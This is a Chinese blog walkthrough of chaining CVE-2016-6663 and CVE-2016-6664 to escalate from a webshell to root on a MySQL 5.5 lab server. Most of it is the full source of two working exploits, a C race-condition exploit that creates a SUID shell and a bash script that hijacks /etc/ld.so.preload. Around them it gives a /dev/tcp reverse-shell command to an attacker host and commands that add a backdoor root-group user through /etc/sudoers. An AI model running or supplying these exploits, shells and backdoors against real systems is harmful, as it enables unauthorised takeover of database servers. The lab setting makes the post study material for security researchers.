2018-05-24

MySQL远程代码执行权限提升

通过复现学习,在前辈大佬的基础上做一些完善和补充。

0x00 利用条件

漏洞影响范围:

MySQL

<= 5.5.51 <= 5.6.32 <= 5.7.14

MariaDB All current

Percona Server < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8

Percona XtraDB Cluster < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0

其他条件:你要有一个Mysql低权限用户,可以从网站配置文件中获取。

0x01 漏洞原理

cve-2016-6663:Oracle MySQL Server是一个轻量的关系型数据库系统。Oracle MySQL在实现上存在权限提升及竞争条件漏洞,攻击者利用此漏洞可绕过某些安全限制提升为mysql权限,执行未授权操作。

cve-2016-6664:Oracle MySQL/MariaDB/PerconaDB某些版本在mysqld_safe中存在安全漏洞,使用基于文件登录时,本地用户通过对错误日志等进行符号链接攻击,可获取root权限。

漏洞详情可看下面的文章:

Cve-2016-6663:https://www.seebug.org/vuldb/ssvid-92510

Cve-2016-6664:https://www.seebug.org/vuldb/ssvid-92513

0x02环境搭建

系统:centos6.4

环境:安装LAMP环境,其中MySQL版本需注意,本次靶机使用的是MySQL 5.5.46。

数据库配置:

添加用户test,密码123456,授予权限create,drop,insert,select

create database testdb;

CREATE USER 'test'@'%' IDENTIFIED BY '123456';

grant create,drop,insert,select on testdb.* to 'test'@'%';

flush privileges;

其他:Shell写入,本次写入网站根目录shell.php。

0x03 获取mysql权限

利用cve-2016-6663。

1.菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件,

wget http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c 。内容如下:

/*

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit

mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com

@dawid_golunski

http://legalhackers.com

Compile:

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:

- On RedHat-based systems you might need to change /tmp to another public directory

- For testing purposes only. Do no harm. 

Full advisory URL:

http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/

#include <fcntl.h>

#include <grp.h>

#include <mysql.h>

#include <pwd.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/inotify.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <time.h>

#include <unistd.h>

#define EXP_PATH          "/tmp/mysql_privesc_exploit"

#define EXP_DIRN          "mysql_privesc_exploit"

#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"

#define MYSQL_TEMP_FILE  EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL*conn;// DB handles

MYSQL_RES*res;

MYSQL_ROWrow;

unsignedlongcnt;

voidintro() {

printf(

"\033[94m\n"

"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"

"mysql-privesc-race.c (ver. 1.0)\n\n"

"CVE-2016-6663 / OCVE-2016-5616\n\n"

"For testing purposes only. Do no harm.\n\n"

"Discovered/Coded by:\n\n"

"Dawid Golunski \n"

"http://legalhackers.com"

"\033[0m\n\n");

}

voidusage(char*argv0) {

intro();

printf("Usage:\n\n%s user pass db_host database\n\n",argv0);

}

voidmysql_cmd(char*sql_cmd,intsilent) {

if(!silent) {

printf("%s \n",sql_cmd);

}

if(mysql_query(conn,sql_cmd)) {

fprintf(stderr,"%s\n",mysql_error(conn));

exit(1);

}

res=mysql_store_result(conn);

if(res>0)mysql_free_result(res);

}

intmain(intargc,char**argv)

{

intrandomnum=0;

intio_notified=0;

intmyd_handle;

intwpid;

intis_shell_suid=0;

pid_tpid;

intstatus;

structstatst;

/* io notify */

intfd;

intret;

charbuf[4096]__attribute__((aligned(8)));

intnum_read;

structinotify_event*event;

/* credentials */

char*user=argv[1];

char*password=argv[2];

char*db_host=argv[3];

char*database=argv[4];

// Disable buffering of stdout

setvbuf(stdout,NULL,_IONBF,0);

// Get the params

if(argc!=5) {

usage(argv[0]);

exit(1);

}

intro();

// Show initial privileges

printf("\n[+] Starting the exploit as: \n");

system("id");

// Connect to the database server with provided credentials

printf("\n[+] Connecting to the database `%s` as %s@%s\n",database,user,db_host);

conn=mysql_init(NULL);

if(!mysql_real_connect(conn,db_host,user,password,database,0,NULL,0)) {

fprintf(stderr,"%s\n",mysql_error(conn));

exit(1);

}

// Prepare tmp dir

printf("\n[+] Creating exploit temp directory %s\n","/tmp/"EXP_DIRN);

umask(000);

system("rm -rf /tmp/"EXP_DIRN" && mkdir /tmp/"EXP_DIRN);

system("chmod g+s /tmp/"EXP_DIRN);

// Prepare exploit tables :)

printf("\n[+] Creating mysql tables \n\n");

mysql_cmd("DROP TABLE IF EXISTS exploit_table",0);

mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell",0);

mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'",0);

mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'",0);

// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file

// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory

printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");

system("cp /bin/bash "SUID_SHELL);

system("ls -l "SUID_SHELL);

// Use inotify to get the timing right

fd=inotify_init();

if(fd<0) {

printf("failed to inotify_init\n");

return-1;

}

ret=inotify_add_watch(fd,EXP_PATH,IN_CREATE|IN_CLOSE);

/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

printf("\n[+] Entering the race loop... Hang in there...\n");

while(is_shell_suid!=1) {


cnt++;

if( (cnt%100)==0) {

printf("->");

//fflush(stdout);   

}

/* Create empty file , remove if already exists */

unlink(MYSQL_TEMP_FILE);

unlink(MYSQL_TAB_FILE);

mysql_cmd("DROP TABLE IF EXISTS exploit_table",1);

mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'",1);

/* random num if needed */

srand(time(NULL) );

randomnum=(rand()%MAX_DELAY);

// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink

pid=fork();

if(pid<0) {

fprintf(stderr,"Fork failed :(\n");

    }

/* Child process - executes REPAIR TABLE  SQL statement */

if(pid==0) {

usleep(500);

unlink(MYSQL_TEMP_FILE);

mysql_cmd("REPAIR TABLE exploit_table EXTENDED",1);

// child stops here

exit(0);

    }

/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */

if(pid>0) {

io_notified=0;

while(1) {

intprocessed=0;

ret=read(fd,buf,sizeof(buf));

if(ret<0) {

break;

            }

while(processed<ret) {

event=(structinotify_event*)(buf+processed);

if(event->mask&IN_CLOSE) {

if(!strcmp(event->name,"exploit_table.TMD")) {

//usleep(randomnum);

// Set the .MYD permissions to suid+exec before they get copied to the .TMD file

unlink(MYSQL_TAB_FILE);

myd_handle=open(MYSQL_TAB_FILE,O_CREAT,0777);

close(myd_handle);

chmod(MYSQL_TAB_FILE,04777);

// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec

unlink(MYSQL_TEMP_FILE);

symlink(SUID_SHELL,MYSQL_TEMP_FILE);

io_notified=1;

                    }

                }

processed+=sizeof(structinotify_event);

            }

if(io_notified) {

break;

            }

        }

waitpid(pid,&status,0);

    }

// Check if SUID bit was set at the end of this attempt

if(lstat(SUID_SHELL,&st)==0) {

if(st.st_mode&S_ISUID) {

is_shell_suid=1;

    }

    }

}

printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n",cnt);

system("ls -l "SUID_SHELL);

printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");

system(SUID_SHELL" -p -i ");

//system(SUID_SHELL " -p -c '/bin/bash -i -p'");

/* close MySQL connection and exit */

printf("\n[+] Job done. Exiting\n\n");

mysql_close(conn);

return0;

}

2.反弹shell ,攻击机监听1234端口

nc.exe -lvvp 1234

通过webshell执行命令反弹shell实现交互。

bash-i>&  /dev/tcp/192.168.1.3/12340>&1

下图是反弹得到的shell,权限是Apache。

编译上传的C源码(这一步有点坑,gcc没配置好绕了许多弯路):

gccmysql-privesc-race.c-omysql-privesc-race-I/usr/include/mysql-L/usr/lib64/mysql-lmysqlclient-lm-lpthread-ldl

执行编译好的文件,test为我们获得的MySQL用户,123456是密码,testdb是数据库名:

./mysql-privesc-race test123456localhost testdb


看一看到执行完成后,权限变成了mysql。

0x04 mysql权限提升为root权限

利用CVE-2016-6664

ps:目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式

测试办法:grep -r syslog /etc/mysql

返回没有任何结果既满足“基于文件的日志”要求 。

在mysql权限下使用wget上传mysql-chowned.sh,内容如下 :

#!/bin/bash -p

#

# MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit

# mysql-chowned.sh (ver. 1.1)

#

# CVE-2016-6664 / OCVE-2016-5617

#

# Discovered and coded by:

#

# Dawid Golunski

# dawid[at]legalhackers.com

#

# https://legalhackers.com

#

# Follow https://twitter.com/dawid_golunski for updates on this advisory.

#

# This PoC exploit allows attackers to (instantly) escalate their privileges

# from mysql system account to root through unsafe error log handling.

# The exploit requires that file-based logging has been configured (default).

# To confirm that syslog logging has not been enabled instead use:

# grep -r syslog /etc/mysql

# which should return no results.

#

# This exploit can be chained with the following vulnerability:

# CVE-2016-6663 / OCVE-2016-5616

# which allows attackers to gain access to mysql system account (mysql shell).

#

# In case database server has been configured with syslog you may also use:

# CVE-2016-6662 as an alternative to this exploit.

#

# Usage:

# ./mysql-chowned.sh path_to_error.log

#

#

# See the full advisory for details at:

# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

#

# Video PoC:

# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

#

#

# Disclaimer:

# For testing purposes only. Do no harm.

#

BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/mysqlrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

functioncleanexit {

    # Cleanup

    echo-e"\n[+] Cleaning up..."

    rm-f$PRIVESCSRC

    rm-f$PRIVESCLIB

    rm-f$ERRORLOG

    touch$ERRORLOG

    if[-f/etc/ld.so.preload ];then

        echo-n> /etc/ld.so.preload

    fi

    echo-e"\n[+] Job done. Exiting with code $1 \n"

    exit$1

}

functionctrl_c() {

echo-e"\n[+] Ctrl+C pressed"

    cleanexit0

}

#intro

echo-e"\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"

echo-e"Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args

if[$#-lt1];then

    echo-e"\n[!] Exploit usage: \n\n$0 path_to_error.log \n"

    echo-e"It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"

    exit3

fi

# Priv check

echo-e"\n[+] Starting the exploit as \n\033[94m`id`\033[0m"

id |grep-qmysql

if[$?-ne0];then

    echo-e"\n[!] You need to execute the exploit as mysql user! Exiting.\n"

    exit3

fi

# Set target paths

ERRORLOG="$1"

if[ !-f$ERRORLOG];then

    echo-e"\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"

    exit3

fi

echo-e"\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo-e"\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat<<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include <unistd.h>

#include <dlfcn.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

uid_t geteuid(void) {

    static uid_t  (*old_geteuid)();

    old_geteuid=dlsym(RTLD_NEXT,"geteuid");

    if( old_geteuid()==0) {

        chown("$BACKDOORPATH",0,0);

        chmod("$BACKDOORPATH",04777);

        //unlink("/etc/ld.so.preload");

    }

    return old_geteuid();

}

_solibeof_

/bin/bash-c"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"

if[$?-ne0];then

    echo-e"\n[!] Failed to compile the privesc lib $PRIVESCSRC."

    cleanexit2;

fi

# Prepare backdoor shell

cp$BACKDOORSH$BACKDOORPATH

echo-e"\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if[-f/etc/ld.so.preload ];then

    echo-e"\n[!] /etc/ld.so.preload already exists. Exiting for safety."

    exit2

fi

# Symlink the log file to /etc

rm-f$ERRORLOG&&ln-s/etc/ld.so.preload$ERRORLOG

if[$?-ne0];then

    echo-e"\n[!] Couldn't remove the $ERRORLOG file or create a symlink."

    cleanexit3

fi

echo-e"\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs

echo-ne"\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"

echo-n"Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "

read THE_ANSWER

if["$THE_ANSWER"="y"];then

    echo-e"Got it. Executing 'killall mysqld' now..."

    killallmysqld

fi

while:;do

    sleep0.1

    if[-f/etc/ld.so.preload ];then

        echo$PRIVESCLIB> /etc/ld.so.preload

        rm-f$ERRORLOG

        break;

    fi

done

# Inject the privesc.so shared library to escalate privileges

echo$PRIVESCLIB> /etc/ld.so.preload

echo-e"\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"

echo-e"\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

echo-e"\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

chmod755/etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo-e"\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

sudo2>/dev/null >/dev/null

#while :; do

#  sleep 0.1

#  ps aux | grep mysqld | grep -q 'log-error'

#  if [ $? -eq 0 ]; then

#      break;

#  fi

#done

# Check for the rootshell

ls-l$BACKDOORPATH

ls-l$BACKDOORPATH|greprws |grep-qroot

if[$?-eq0];then

    echo-e"\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"

    echo-e"\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"

else

    echo-e"\n[!] Failed to get root"

    cleanexit2

fi

# Execute the rootshell

echo-e"\n[+] Spawning the rootshell $BACKDOORPATH now! \n"

$BACKDOORPATH-p-c"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

$BACKDOORPATH-p-i

# Job done.

cleanexit0

命令如下:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

chmod 777 mysql-chowned.sh

./mysql-chowned.sh /var/log/mysql/error.log

需要注意的是/var/log/mysql/error.log 是mysql的错误日志文件,不同环境下名称可能不同。下图可以看到已经获得root权限。

0x05 回顾和后续处理

提升为mysql的条件

1.已经getshell2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权

mysql提升为root权限的条件

1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)2.需要在mysql权限下运行才能利用(可通过上面的方式先获取mysql权限)

后续处理

获取root权限会终止目标机的mysql服务,需要重启MySQL,但是可能我个人配置的原因,在shell中重启mysql失败,但在目标机中使用root是可以重启mysql成功的。所以想到了新建一个root权限用户。因为shell交互性的问题,不能交互修改密码,也不能使用vim等工具修改文件。所以使用如下方法:

一句话添加用户和密码: useradd guest;echo 'guest:123456'|chpasswd

加入root 组 :usermod -g root guest

修改文件允许用户使用Sudo:echo "guest  ALL=(ALL)    ALL" >> /etc/sudoers

至此root权限的用户添加完毕,ssh登陆后 sudo service mysql start ,然后哈皮去吧。


参考文章:Mysql提权(CVE-2016-6663、CVE-2016-6664组合实践)https://xz.aliyun.com/t/1122

Cve-2016-6663:https://www.seebug.org/vuldb/ssvid-92510

Cve-2016-6664:https://www.seebug.org/vuldb/ssvid-92513

linux各种一句话反弹shell总结:https://www.anquanke.com/post/id/87017

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,590评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,808评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,151评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,779评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,773评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,656评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,022评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,678评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,038评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,756评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,411评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,005评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,973评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,053评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,495评论 2 343

推荐阅读更多精彩内容